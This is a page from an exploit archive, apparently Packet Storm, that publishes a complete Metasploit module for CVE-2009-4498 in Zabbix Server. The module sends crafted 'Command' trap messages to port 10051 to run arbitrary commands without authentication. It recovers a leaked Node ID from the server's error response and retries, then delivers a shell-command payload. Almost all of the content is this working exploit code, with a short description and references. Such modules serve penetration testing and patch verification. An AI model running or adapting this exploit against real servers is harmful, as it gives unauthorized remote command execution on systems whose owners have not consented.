what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

Zabbix Server Arbitrary Command Execution

Zabbix Server Arbitrary Command Execution
Posted Aug 28, 2012
Authored by Nicob, juan vazquez | Site metasploit.com

This Metasploit module abuses the "Command" trap in Zabbix Server to execute arbitrary commands without authentication. By default the Node ID "0" is used, if it doesn't work, the Node ID is leaked from the error message and exploitation retried. According to the vendor versions prior to 1.6.9 are vulnerable. The vulnerability has been successfully tested on Zabbix Server 1.6.7 on Ubuntu 10.04.

tags | exploit, arbitrary
systems | linux, ubuntu
advisories | CVE-2009-4498, OSVDB-60965
SHA-256 | c4c37ca2fbeb9dc136f6ed37edc9e1410341536d23168c981616809399bccf93

Zabbix Server Arbitrary Command Execution

Change Mirror Download
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
# http://metasploit.com/
##


require 'msf/core'


class Metasploit3 < Msf::Exploit::Remote
Rank = ExcellentRanking

include Msf::Exploit::Remote::Tcp

def initialize(info = {})
super(update_info(info,
'Name' => 'Zabbix Server Arbitrary Command Execution',
'Description' => %q{
This module abuses the "Command" trap in Zabbix Server to execute arbitrary
commands without authentication. By default the Node ID "0" is used, if it doesn't
work, the Node ID is leaked from the error message and exploitation retried.

According to the vendor versions prior to 1.6.9 are vulnerable. The vulnerability
has been successfully tested on Zabbix Server 1.6.7 on Ubuntu 10.04.
},
'Author' =>
[
'Nicob <nicob[at]nicob.net>', # Vulnerability discovery
'juan vazquez' # Metasploit module
],
'License' => MSF_LICENSE,
'References' =>
[
[ 'CVE', '2009-4498' ],
[ 'OSVDB', '60965' ],
[ 'BID', '37989' ],
[ 'EDB', '10432' ],
[ 'URL', 'https://support.zabbix.com/browse/ZBX-1030' ]
],
'Platform' => ['unix'],
'Arch' => ARCH_CMD,
'Privileged' => false,
'Payload' =>
{
'DisableNops' => true,
'Compat' =>
{
'PayloadType' => 'cmd',
'RequiredCmd' => 'generic telnet',
# *_perl, *_python and *_ruby work if they are installed
}
},
'Targets' =>
[
[ 'Zabbix 1.6.7', { } ]
],
'DefaultTarget' => 0,
'DisclosureDate' => 'Sep 10 2009'
))

register_options(
[
Opt::RPORT(10051),
], self.class)
end

def send_command(sock, node_id, cmd)
host_id = Rex::Text.rand_text_numeric(3)
msg = "Command\255"
msg << "#{node_id}\255"
msg << "#{host_id}\255"
msg << "#{cmd}\n"
sock.put(msg)
res = sock.get_once
return res
end

def check
peer = "#{rhost}:#{rport}"
node_id = 0
clue = Rex::Text.rand_text_alpha(rand(5)+5)
cmd = "echo #{clue}"

connect
print_status("#{peer} - Sending 'Command' request...")
res = send_command(sock, node_id, cmd)
disconnect

if res
print_status(res)
if res =~ /#{clue}/
return Exploit::CheckCode::Vulnerable
elsif res =~ /-1/ and res=~ /NODE (\d*)/
node_id = $1
print_good("#{peer} - Node ID #{node_id} discovered")
else
return Exploit::CheckCode::Safe
end
else # No response
return Exploit::CheckCode::Safe
end

# Retry with the good node_id
connect
print_status("#{peer} - Sending 'Command' request with discovered Node ID...")
res = send_command(sock, node_id, cmd)
disconnect
if res and res =~ /#{clue}/
return Exploit::CheckCode::Vulnerable
end
return Exploit::CheckCode::Safe
end

def exploit
peer = "#{rhost}:#{rport}"
node_id = 0
cmd = payload.encoded

connect
print_status("#{peer} - Sending 'Command' request...")
res = send_command(sock, node_id, cmd)
disconnect

if res and res =~ /-1/ and res=~ /NODE (\d*)/
# Retry with the good node_id
node_id = $1
print_good("#{peer} - Node ID #{node_id} discovered")
connect
print_status("#{peer} - Sending 'Command' request with discovered Node ID...")
res = send_command(sock, node_id, cmd)
disconnect
end

# Read command output from socket if cmd/unix/generic payload was used
if (datastore['CMD'])
if res and res =~ /\x30\xad/
print_good("#{peer} - Command executed successfully")
print_status("Output:\n#{res.split("\x30\xad").last}")
else
print_error("#{peer} - Failed to execute the command")
end
end

end

end
Login or Register to add favorites

File Archive:

June 2023

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Jun 1st
    18 Files
  • 2
    Jun 2nd
    13 Files
  • 3
    Jun 3rd
    0 Files
  • 4
    Jun 4th
    0 Files
  • 5
    Jun 5th
    32 Files
  • 6
    Jun 6th
    39 Files
  • 7
    Jun 7th
    22 Files
  • 8
    Jun 8th
    17 Files
  • 9
    Jun 9th
    20 Files
  • 10
    Jun 10th
    0 Files
  • 11
    Jun 11th
    0 Files
  • 12
    Jun 12th
    0 Files
  • 13
    Jun 13th
    0 Files
  • 14
    Jun 14th
    0 Files
  • 15
    Jun 15th
    0 Files
  • 16
    Jun 16th
    0 Files
  • 17
    Jun 17th
    0 Files
  • 18
    Jun 18th
    0 Files
  • 19
    Jun 19th
    0 Files
  • 20
    Jun 20th
    0 Files
  • 21
    Jun 21st
    0 Files
  • 22
    Jun 22nd
    0 Files
  • 23
    Jun 23rd
    0 Files
  • 24
    Jun 24th
    0 Files
  • 25
    Jun 25th
    0 Files
  • 26
    Jun 26th
    0 Files
  • 27
    Jun 27th
    0 Files
  • 28
    Jun 28th
    0 Files
  • 29
    Jun 29th
    0 Files
  • 30
    Jun 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close